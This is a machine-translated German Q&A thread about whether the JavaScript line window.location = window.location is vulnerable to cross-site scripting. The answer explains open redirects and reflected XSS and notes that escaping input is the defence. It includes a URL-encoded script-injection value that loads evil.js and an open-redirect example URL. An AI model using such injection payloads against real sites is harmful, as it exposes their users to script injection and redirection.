2016-07-17 34 views
1

Diese Frage bezieht sich auf den Code window.location = window.location als eine Methode, um die Seite zu aktualisieren, und betrifft nicht Umleitungen/andere Variablen.Ist window.location = window.location anfällig für XSS

Mein Verständnis ist, wie folgt:

window.location = window.location bewirkt, dass die Seite zu aktualisieren, da der Browser auf die gleiche Stelle navigiert der Benutzer bereits eingeschaltet ist.

Jede Änderung dieser Variablen über DOM-Manipulation führt dazu, dass die Seite die Angreifer-Seite neu lädt/lädt. Daher können diese Zeilen nicht mit einem geänderten Wert ausgeführt werden und sind daher nicht für Cross-Site-Scripting-Angriffe geeignet.

Ist das korrekt?

Edit: Was ich wirklich bin gefragt ist, wenn es einen Weg gibt window.location zu ändern, ohne dass eine Seite neu geladen verursacht, so dass dann, wenn der window.location = window.location Anruf getätigt wird, wird der Browser an einen anderen Ort gesendet werden.

+0

Was passiert, wenn jemand die Konsole öffnet und einen beliebigen JavaScript-Code eingibt? Ihre Website ist anfällig, wenn dies der Fall ist. – Gogol

+0

Wenn Sie dies tun 'window.location = window.location' und die Seite neu geladen wird ... dann wird das gleiche wieder passieren ... und Sie werden Endlosschleife eingeben. –

+0

@ Al.G. Ich denke, es ist einigermaßen sicher anzunehmen, dass dies beim Laden der Seite nicht aufgerufen würde. – charlietfl

Antwort

1

Das Problem hat nichts mit window.location zu tun, und alles damit zu tun, wie Sie mit willkürlichen Daten umgehen, die in einem neuen Kontext verwendet werden.

Wenn Sie Eingaben von einer URL verwenden und diese verwenden, um eine neue URL zum Weiterleiten zu erstellen, dann öffnen Sie sich für Probleme. Nehmen Sie die klassische umadressierenseite ...

http://example.com/redirect?url=http%3A%2F%2Fsomethingevil 

Wenn JavaScript auf der Seite ist, die dann window.location auf den Wert der Abfrage-String-Parameter setzt url, dann wird die Seite zu http://somethingevil gehen.

Die Hauptmethode, in der XSS ausgeführt wird, besteht darin, dass Abfragezeichenfolgenparameter Daten in die Seite selbst einfügen. Beispielsweise haben Sie möglicherweise eine Seite mit dem Namen "Hello Brad", wobei "Brad" von dem URL-Parameter name stammt. Angenommen, ein Angreifer setzt stattdessen die URL auf name=%3Cscript%20src%3D%22http%3A%2F%2Fexample.com%2Fevil.js%22%3E%3C%2Fscript%3E. Wenn ich nur den Wert name direkt in die Seite injiziere, wird mein Skript evil.js auf dieser Seite ausgeführt. Wenn ich stattdessen die Daten ordnungsgemäß entkomme, kann sie in der Seite verwendet werden, da sie als Text interpretiert wird.

+0

Was ich wirklich frage ist, ob es eine Möglichkeit gibt, 'window.location' zu ändern, ohne dass die Seite neu geladen wird, so dass dann, wenn der Aufruf' window.location = window.location' erfolgt, der Browser an ein anderer Ort. – Milk

+0

@Milk Ich verstehe nicht? Warum würdest du das tun und was hat es mit XSS zu tun? – Brad

+1

Die betreffende Codezeile wurde durch einen Sicherheits-Scan als potenzieller Exploit für Cross-Site Scripting durch DOM-Manipulation ausgelöst. Ich glaubte nicht, dass es möglich war, diese Linie auf diese Weise auszunutzen. Also die Frage. – Milk